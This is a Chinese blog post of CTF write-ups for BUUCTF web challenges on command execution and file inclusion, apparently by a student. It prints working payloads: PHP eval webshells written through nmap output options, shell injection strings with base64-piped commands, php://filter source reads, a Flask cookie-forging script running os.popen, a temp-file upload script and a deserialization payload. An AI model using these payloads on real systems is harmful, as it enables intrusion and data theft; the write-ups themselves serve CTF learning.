




# BUUCTF 命令执行/文件包含类型部分wp

原创

长球的鱼  已于 2022-04-07 13:43:34 修改  3664  收藏 1

分类专栏: [笔记 新人](#) 文章标签: [网络安全](#) [web安全](#) [php](#) [安全](#) [python](#)

于 2021-11-24 22:09:44 首次发布

版权声明: 本文为博主原创文章, 遵循 [CC 4.0 BY-SA](#) 版权协议, 转载请附上原文出处链接和本声明。

本文链接: [https://blog.csdn.net/qq\\_52988816/article/details/121526285](https://blog.csdn.net/qq_52988816/article/details/121526285)

版权



[笔记](#) 同时被 2 个专栏收录

14 篇文章 0 订阅

订阅专栏



[新人](#)

10 篇文章 0 订阅

订阅专栏

*BUU差不多前两页题目中的该类型题, 可能会有疏漏*

## [网鼎杯 2020 朱雀组]Nmap

考察nmap的利用

选项 解释

-oN 标准保存

-oX XML保存

-oG Grep保存

-oA 保存到所有格式

-append-output 补充保存文件

考虑到之前另一个题

payload

```
127.0.0.1 |' <?php @eval($_POST["hack"]);?> -oG hack.php'
```

回显hacker, 经查, php被过滤, 使用短标签绕过

```
' <?=@eval($_POST["hack"]);?> -oG hack.phtml '
```

## [RoarCTF 2019]Easy Calc

源代码

```

<!DOCTYPE html>
<html><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
  <title>简单的计算器</title>

  <meta name="viewport" content="width=device-width, initial-scale=1">
  <link rel="stylesheet" href="./libs/bootstrap.min.css">
  <script src="./libs/jquery-3.3.1.min.js"></script>
  <script src="./libs/bootstrap.min.js"></script>
</head>
<body>
<div class="container text-center" style="margin-top:30px;">
  <h2>表达式</h2>
  <form id="calc">
    <div class="form-group">
      <input type="text" class="form-control" id="content" placeholder="输入计算式" data-com.agilebits.onepassword.user-edited="yes">
    </div>
    <div id="result"><div class="alert alert-success">
      </div></div>
    <button type="submit" class="btn btn-primary">计算</button>
  </form>
</div>
<!--I've set up WAF to ensure security.-->
<script>
  $('#calc').submit(function(){
    $.ajax({
      url:"calc.php?num="+encodeURIComponent($('#content').val()),
      type:'GET',
      success:function(data){
        $('#result').html(`<div class="alert alert-success">
          <strong>答案:</strong>${data}
        </div>`);
      },
      error:function(){
        alert("这啥?算不来!");
      }
    })
    return false;
  })
</script>
</body></html>

```

审计发现其他源码

calc.php

```

<?php
error_reporting(0);
if(!isset($_GET['num'])){
  show_source(__FILE__);
}else{
  $str = $_GET['num'];
  $blacklist = [ '\t', '\r', '\n', '\0', '\'', '\[', '\]', '\$', '\W', '\^';
  foreach ($blacklist as $blackitem) {
    if (preg_match('/' . $blackitem . '/m', $str)) {
      die("what are you want to do?");
    }
  }
  eval('echo ' . $str . ');
}
?>

```

分析一下，传一个名为num的参数，黑名单过滤，推测是waf，过滤了特殊字符，尝试发现存在字符也会被直接过滤  
经过以前的刷题经验与之前的例题

在传参数之间加一个空格即可绕过

例如

```
? num=phpinfo(); 这样可以进行绕过
```

我们构造payload读取目录

```
? num=var_dump(scandir(chr(47)))
```

/被过滤了，我们使用ascii码将其替换  
发现f1agg文件，猜测其在该文件下面

```
? num=1;var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))
```

## [watevrCTF-2019]Supercalc

进去类似一个计算机，没有发现啥重要信息

但发现flask的cookie是可以解密的，以便于以后解码

```
from itsdangerous import *  
# 从浏览器中复制过来的cookie值  
session_str = 'eyJoaXN0b3J5IjpbeyJjb2RlIjoieOCARlDgifV19.YWVqgg.5F1LP-yW42v1QNzciA26U2PvUE'  
data, timestamp, secret = session_str.split('.')  
print(base64_decode(data))
```

前提是itsdangerous模块已经安装

解码后发现是我们之前进行的计算题

联想到是否能够伪造cookie

看其他人解密过程就是伪造找到key才能伪造cookie

经过测试发现存在ssti

```
Traceback (most recent call last): File "somewhere", line something, in something result = 1/0 ZeroDivisionError: division by zero
```

测试

```
1/0{{1+1}}
```

还是错报

那么我们把后面的{{1+1}}注释掉再试一试 //没有想到

之后就会显示把1+1算出来了

接下来我们尝试读取

```
{{config}}
```

找到key

```
SECRET_KEY&#39;: &#39;cded826a1e89925035cc05f0907855f7&#39;
```

伪造session有两种方法

### 1.flask\_session\_manager

用命令伪造

### 2.脚本

```
from flask.sessions import SecureCookieSessionInterface
secret_key = "cded826a1e89925035cc05f0907855f7"
class FakeApp:
    secret_key = secret_key

fake_app = FakeApp()
session_interface = SecureCookieSessionInterface()
serializer = session_interface.get_signing_serializer(fake_app)
cookie = serializer.dumps(
    {"history": [{"code": '__import__("os").popen("ls ").read()'}}
)
print(cookie)
```

的出来

```
eyJoaXN0b3J5IjpbeyJjb2RlIjpb7liBiljoiWDE5cGJYQnZjbJmWHlnaWlztWlUzV3YjNCbGJpZ2liSE1nSWlrdWNtVmhaQ2dwn19XX0.YWVzyw.bdZtdqwmEog7NQLZU946PDCJ-AQ
```

修改之后f12 application里修改session值刷新页面  
就会爆出来目录，发现有flag.txt。于是进一步读取

```
"{"history": [{"code": '__import__(\"os\").popen(\"cat flag.txt\").read()'}]"}"
```

就会出现flag

本题要点：

1.flask cookie解密发现漏洞

2.找模板注入点伪造session尝试注入

## BUU LFI COURSE 1

file=/flag

直接出flag

## [NPUCTF2020]ezinclude

贴一个博客，讲的很详细

<https://www.icode9.com/content-4-886902.html>

考点一是要传入一个name与pass，其md5加密后要相等

抓包后会显示一个hash值，其为name的md5加密后的值，我们将其赋值给pass即可绕过

之后会显示/ffffflag.php

进入后便是一个文件包含

```
include($_GET["file"])
```

用伪协议查看一下源码

```
/fiflflflag.php?file=php://filter/read=convert.base64-encode/resource=fiflflflag.php
```

出来后

```
PGh0bWw+CjxoZWFkPgo8c2NyaXB0IGxhbmd1YWdlIPSJqYXZhc2NyaXB0liB0eXBIPSJ0ZXh0L2phdmFzY3JpcHQiPogglCAglCAglCAglHdpbmRvdy5sb2NhdGlubi5ocmVmPSI0MDQuaHRtbCI7Cjwvc2NyaXB0Pgo8dGl0bGU+dGhpc19pc19ub3RfZmw0Z19hbmRf5Ye66aKY5Lq6X3dhbnRzX2dpcmxmcmllbmQ8L3RpdGxlPgo8L2hiYWQ+Cjw+Cjxib2R5Pgo8P3BocAokZmlsZT0kX0dFVFsnZmlsZSddOwppZihwcmVnX21hdGN0KCcvZGF0YXxpbnB1dHx6aXAvaXMnLCRmaWxlKS17CglkaWUoJ25vbm9ubycpOwp9CkBpbmNsdWRlKCRmaWxlKTsKZWNoNyAnaW5jbHVkZSgkX0dFVFsiZmlsZSdKSc7Cj8+CjwYm9keT4KPC9odG1sPgo=include($_GET["file"])
```

base64解码

```
<html>
<head>
<script language="javascript" type="text/javascript">
    window.location.href="404.html";
</script>
<title>this_is_not_fl4g_and_出题人_wants_girlfriend</title>
</head>
<>
<body>
<?php
$file=$_GET['file'];
if(preg_match("/data|input|zip|is",$file)){
    die('nonono');
}
@include($file);
echo 'include($_GET["file"])';
?>
</body>
</html>
```

可以看见过滤了data/input/zip协议，data://,php://input都是不可用的

[https://blog.51cto.com/u\\_15127698/3324977](https://blog.51cto.com/u_15127698/3324977) #解释了为什么不能用

这里用到php临时文件的知识点

在上传文件时，如果出现Segment Fault，那么上传的临时文件不会被删除。这里的上传文件需要说明一下，一般认为，上传文件需要对应的功能点，但实际上，无论是否有文件上传的功能点，只要HTTP请求中存在文件，那么就会被保存为临时文件，当前HTTP请求处理完成后，垃圾回收机制会自动删除临时文件。

使php陷入死循环直，产生Segment Fault的方法：（具体原理未找到，如果有大佬清楚，请告知，感谢。）

使用php://filter/string.strip\_tags/resource=文件

版本要求：

php7.0.0-7.1.2

php7.1.3-7.2.1

php7.2.2-7.2.8

使用php://filter/convert.quoted-printable-encode/resource=文件

版本要求：

php<=5.6.38

php7.0.0-7.0.32

php7.0.4-7.2.12

函数要求

file

file\_get\_contents

readfile

这里只能使用string.strip\_tags，可以通过以下脚本上传文件

```
import requests
from io import BytesIO

payload = "<?php eval($_POST['x']);?>"
file_data = {'file': BytesIO(payload.encode())}
url="url/fififfiflag.php?file=php://filter/string.strip_tags/resource=/etc/passwd"
response = requests.post(url=url, files=file_data, allow_redirects=False)
print(response)
```

关于临时文件，可以简单说几句

存储路径，由php.ini中的upload\_tmp\_dir指定，

linux下默认值/tmp/

windows下默认值C:/Windwos or C:/Windwos/Temp/

命名规则

linux下，php+6个随机字符

windows下，php+4个随机字符.tmp

生命周期

开始处理带有文件的POST请求

保存临时文件，并写入数据

执行php脚本

删除临时文件

接下来我们扫描目录，我们会扫描到一个dir.php文件

```
array(2) { [0]=> string(1) "." [1]=> string(2) ".." }
```

这里考察的是PHP临时文件包含，其基本是两种情况：

1. 利用能访问的phpinfo页面，对其一次发送大量数据造成临时文件没有及时被删除
2. PHP版本<7.2，利用php崩溃留下临时文件

py脚本上传shell

```
import requests
from io import BytesIO

payload = "<?php phpinfo()?>"
file_data = {
    'file': BytesIO(payload.encode())
}
url = "http://f6a351b3-c226-4aab-b5a7-1c72236efcc6.node4.buuoj.cn/ffiffiflag.php?" + "file=php://filter/string.strip_tags/resource=/etc/passwd"
r = requests.post(url=url, files=file_data, allow_redirects=False)
```

尝试读取

```
/ffiffiflag.php?file=../../../../tmp/php6Xn500
```

找到flag

```
flag{67fdf760-9169-4f7e-95e0-dc1a0dba0c66}
```

参考博客

[https://blog.51cto.com/u\\_15127698/3324977](https://blog.51cto.com/u_15127698/3324977)  
[https://blog.csdn.net/qq\\_46263951/article/details/118884227](https://blog.csdn.net/qq_46263951/article/details/118884227)

## [Windows]LFI2019

是用不含数字和字母的webshell。

- 思路一：两个非字母、数字的字符进行异或得到结果
- 思路二：利用位运算里的取反，利用UTF-8的某个汉字

思路三：借助PHP的一个小技巧，也就是说，`'a'++ => 'b'`，`'b'++ => 'c'` ... 所以，我们只要能拿到一个变量，其值为 `a`，通过自增操作即可获得a-z中所有字符。

那么，如何拿到一个值为字符串'a'的变量呢？

巧了，数组（Array）的第一个字母就是大写A，而且第4个字母是小写a。也就是说，我们可以同时拿到小写和大写A，等于我们就可以拿到a-z和A-Z的所有字母。

- 在PHP中，如果强制连接数组和字符串的话，数组将被转换成字符串，其值为 `Array`

总结博客：<https://www.leavesongs.com/PENETRATION/webshell-without-alphanum.html>

## [RCTF2019]calcalcalc

题目给出了源码，我们先进行审计

```

python
from flask import Flask, request
import bson
import json
import datetime

app = Flask(__name__)

@app.route("/", methods=["POST"])
def calculate():
    data = request.get_data()
    expr = bson.BSON(data).decode()
    if 'exec' in dir(__builtins__):
        del __builtins__.exec
    return bson.BSON.encode({
        "ret": str(eval(str(expr['expression'])))
    })

if __name__ == "__main__":
    app.run("0.0.0.0", 80)

```

php

```

<?php
ob_start();
$input = file_get_contents('php://input');
$options = MongoDB\BSONtoPHP($input);
$ret = eval('return ' . (string) $options->expression . ');');
echo MongoDB\BSONfromPHP(['ret' => (string) $ret]);

```

加的限制

```

disable_functions = set_time_limit,ini_set,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,system,exec,shell_exec,popen,proc_open,pass thru,symlink,link,syslog,imap_open,ld,mail,putenv,error_log
max_execution_time = 1

```

node.js



```

const express = require('express')
const bson = require('bson')
const bodyParser = require('body-parser')
const cluster = require('cluster')
const app = express()

if (cluster.isMaster) {
  app.use(bodyParser.raw({ inflate: true, limit: '10kb', type: '**/*' }))

  app.post('/', (req, res) => {
    const body = req.body
    const data = bson.deserialize(Buffer.from(body))
    const worker = cluster.fork()
    worker.send(data.expression.toString())
    worker.on('message', (ret) => {
      res.write(bson.serialize({ ret: ret.toString() }))
      res.end()
    })
    setTimeout(() => {
      if (!worker.isDead()) {
        try {
          worker.kill()
        } catch (e) {
          //
        }
      }
      if (!res._headerSent) {
        res.write(bson.serialize({ ret: 'timeout' }))
        res.end()
      }
    }, 1000)
  })

  app.listen(80, () => {
    console.log('Server created')
  })
} else {
  (function () {
    const Module = require('module')
    const _require = Module.prototype.require
    Module.prototype.require = (arg) => {
      if (['os', 'child_process', 'vm', 'cluster'].includes(arg)) {
        return null
      }
      return _require.call(_require, arg)
    }
  })()

  process.on('message', msg => {
    const ret = eval(msg)
    process.send(ret)
    process.exit(0)
  })
}

```

属实复杂，我们慢慢看，总体来说使用了三种后端：nodejs、php、python

原理很清晰，我们input的参数，会分别进入3种后端进行执行，如果3种后端最后的返回值不同，那么则认定为无效，会做一些处理。如果返回值一致，认定为安全，则将执行结果返回

我们先测试一下直接输入字符会发现提示非法信息

而正常的运算则会出结果

```
That's classified information. - Asahina Mikuru
```

限制

```
del __builtins__ .exec
```

直接eval参数

```
return bson.BSON.encode({
  "ret": str(eval(str(expr['expression'])))
})
```

还限制了响应时间

php也是直接命令执行

最后的nodejs由于看不太懂，从wp里找了一段

做出了时间限制和一些过滤,并且也会直接执行参数

总结下来，都直接eval参数，设置了时间限制，过滤了一些函数

至于怎么利用，属实没太想到

wp写的是

```
https://skysec.top/2017/12/29/Time-Based-RCE/
```

```
https://skysec.top/2019/05/18/2019-RCTF-Web-Writeup/#%E6%94%BB%E5%87%BB%E6%80%9D%E8%80%83
```

因为我们无法得到命令执行回显，但可以得到网页执行的时间。

简单思考一下，前端做出的响应，一定是在3种后端都执行完毕后才进行响应。那么整个响应时间就会由3种后端，响应速度最慢的一个决定。那么我们可以只关注其中一个后端，让他的响应时间变为立即响应 / 延时5s响应，那么整个前端的时间就会变成立即响应 / 延时5s响应，那么我们就能通过前端的响应时间，来判断其中某个后端的执行结果是否成功

测试发现

我可以通过sleep函数成功控制响应时间。随机我马上测试了一下，判断这是哪个后端产生的问题

后补

## [GXYCTF2019]Ping Ping Ping

```
开局只有个/?ip=
```



cat flag.php用base64加密来绕过正则匹配

```
Y2F0IGZsYWcucGhw
```

```
?ip=127.0.0.1;echo$IFS1Y2F0IGZsYWcucGhw|base64IFS$1-d|bash
```

```
//?ip= fxck your bash!
```

过滤了flag、bash，但sh没过滤，linux下可用sh

```
?ip=127.0.0.1;echo$IFS1Y2F0IGZsYWcucGhw|base64IFS$1-d|sh
```

```
1
```

|sh 就是执行前面的echo脚本

```
?ip=2;a=g;cat$IFS$1fla$a.php; flag{ae5f2e24-33a3-4763-adeb-ba1b08b271e8}
```

```
方法2: echo$IFS$1Y2F0IGZsYWcucGhw|base64IFS$1-d|sh //管道符, base64echo$IFS$1Y2F0IGZsYWcucGhw|base64IFS$1-d|sh
```

其它绕过方法就不讲了

内敛绕过

内敛绕过

内联，就是将反引号内命令的输出作为输入执行。

```
?ip=127.0.0.1;cat$IFS$1`ls`
```

## [ACTF2020 新生赛]Exec

开局给了个ping框，我们试一试ping本地127.0.0.1

ping成功，接下来我们试一试用ls查看下

```
127.0.0.1&ls
```

```
``没有flag，所以猜测不在该目录下
```

那我们试一试上级目录

```
``plain
```

```
127.0.0.1&ls ../ //还是没有，所以继续
```

加了三个之后发现flag

```
127.0.0.1&ls ../../
```

我们尝试查看

```
127.0.0.1&cat ../../flag
```

直接出了flag

## [ZJCTF 2019]NiZhuanSiWei

```

<?php
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
    echo "<br><h1>".file_get_contents($text,'r')."</h1><br>";
    if(preg_match("/flag/", $file)){
        echo "Not now!";
        exit();
    }else{
        include($file); //useless.php
        $password = unserialize($password);
        echo $password;
    }
}
else{
    highlight_file(__FILE__);
}
?>

```

首先第一个绕过是将传入的text参数到file\_get\_contents且返回welcome to the zjctf  
网上搜索到可以利用data伪协议来确定返回的值

于是我们构造

```

将url改为: ?xxx=data://text/plain;base64,想要file_get_contents()函数返回的值的base64编码
?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=

```

下一个绕过正则匹配，传入file的值不能包含flag，所以文件包含读取flag时行不通的，由于给出了useless.php所以我们尝试读取一下·1

直接读取不出来，我们尝试一下php://filter协议

```

?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=php://filter/read=convert.base64-encode/resource=useless.php
``对其进行base64解码
``plain
<?php
class Flag{ //flag.php
    public $file;
    public function __toString(){
        if(isset($this->file)){
            echo file_get_contents($this->file);
            echo "<br>";
            return ("U R SO CLOSE !///COME ON PLZ");
        }
    }
}

```

为了绕过toString，我们直接将file值确定为flag.php

```
<?php
class Flag{ //flag.php
    public $file="flag.php;
    public function __toString(){
        if(isset($this->file)){
            echo file_get_contents($this->file);
            echo "<br>";
            return ("U R SO CLOSE !///COME ON PLZ");
        }
        $password=new Flag();
    }
    $password = serialize($password);
    echo $password;
?>
```

本地执行一下

```
O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
```

然后我们构造payload

```
?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=php://filter/read=convert.base64-encode/resource=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
```

但不知是哪出错了，后来经搜查发现，由于第二个绕过有文件包含不用再加php://filter协议了所以构造payload

```
?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
```

f12发现flag

```
flag{f8a1e67b-9064-46cd-a815-fb83d6d8082b}
```

## [BSidesCF 2020]Had a bad day

Did you have a bad day? Did things not go your way today? Are you feeling down? Pick an option and let the adorable images cheer you up!

让我们点个按钮 我点了woofers就出现了狗的图片

url改变了

```
http://86b37400-14fd-48b0-a1aa-162fc1a54d84.node4.buuoj.cn:81/index.php?category=woofers
```

有点像文件包含类型的漏洞，我们试一试php伪协议

```
http://86b37400-14fd-48b0-a1aa-162fc1a54d84.node4.buuoj.cn:81/index.php?category=php://filter/read=convert.base64-encode/resource=index.php
```

不知为啥错报了

后来测试了下不加php后缀可以



```
php://filter/read=convert.base64-encode/woofers/resource=flag
```

```
PCEtLSBDYW4geW91IHJlYWQgdGhpcyBmbGFnPyAtLT4KPD9waHAKIC8vIGZsYWd7MjVkbMDQ5NjctYzAyYS00YjJiLTgwNDktNWU5NDMwNTc3NTE3fQo/Pgo=flag{25d04967-c02a-4b2b-8049-5e9430577517}
```

## [极客大挑战 2019]Secret File

打开发现就是一个网页，没啥提示，所以F12查看一下

发现提示

```
http://d69343e1-7e99-4108-8556-da4ba3e79eb4.node4.buuoj.cn/Archive_room.php
```

根据所说的提示，怀疑跳转时有啥秘密，用BP抓下包

发现秘密

```
<html>
<!--
    secr3t.php
-->
</html>
```

打开这个PHP文件

```
<html>
  <title>secret</title>
  <meta charset="UTF-8">
<?php
  highlight_file(__FILE__);
  error_reporting(0);
  $file=$_GET['file'];
  if(strstr($file,".")||strstr($file,"tp")||strstr($file,"input")||strstr($file,"data")){
    echo "Oh no!";
    exit();
  }
  include($file);
//flag放在了flag.php里
?>
</html>
```

尝试访问下flag.php

弹出个网页说我就在这里，此路行不通

那我们看代码，过滤了.../,tp,input

所以我们尝试下file伪协议进行文件读取

构造payload

```
http://d69343e1-7e99-4108-8556-da4ba3e79eb4.node4.buuoj.cn/secr3t.php?file=php://filter/read=convert.base64-encode/resource=flag.php
```

出了个BASE64解码

```
$flag = 'flag{e7cb31bd-65b9-42fb-a0f5-87e831710500}';
$secret = 'jiAng_Luyuan_w4nts_a_g1rfri3nd'
```



## [ACTF2020 新生赛]Include

题目提示了是文件包含类型的题，我们点击TIPS

8c101b17-58f0-402a-8e0d-ead74d4d231b.node4.buuoj.cn/?file=flag.php

火狐官方网站 百度 新手上路 常用网址 天猫 JD 京东商城 JD 京东商城 微博 携程旅行 爱淘宝

Can you find out the flag?

考虑到flag藏在flag.php里

我们要读取源码，联想到之前学习时文件包含中对伪协议的利用构造payload

```
?file=php://filter/read=convert.base64-encode/resource=flag.php
```

得出了

```
PD9waHAKZWNobyAiQ2FuiHlvdSBmaW5kiG91dCB0aGUgZmxhZz8iOwovL2ZsYWd7MjA5ZGNmZmMtOTVknNy00NTM5LTg4YmMtZGU4ZjJkMWw4MDQ3fQo=
```

直接base64转码

```
flag{209dcffc-95d7-4539-88bc-de8f2d1c8047}
```



[创作打卡挑战赛](#) >

[赢取流量/现金/CSDN周边激励大奖](#)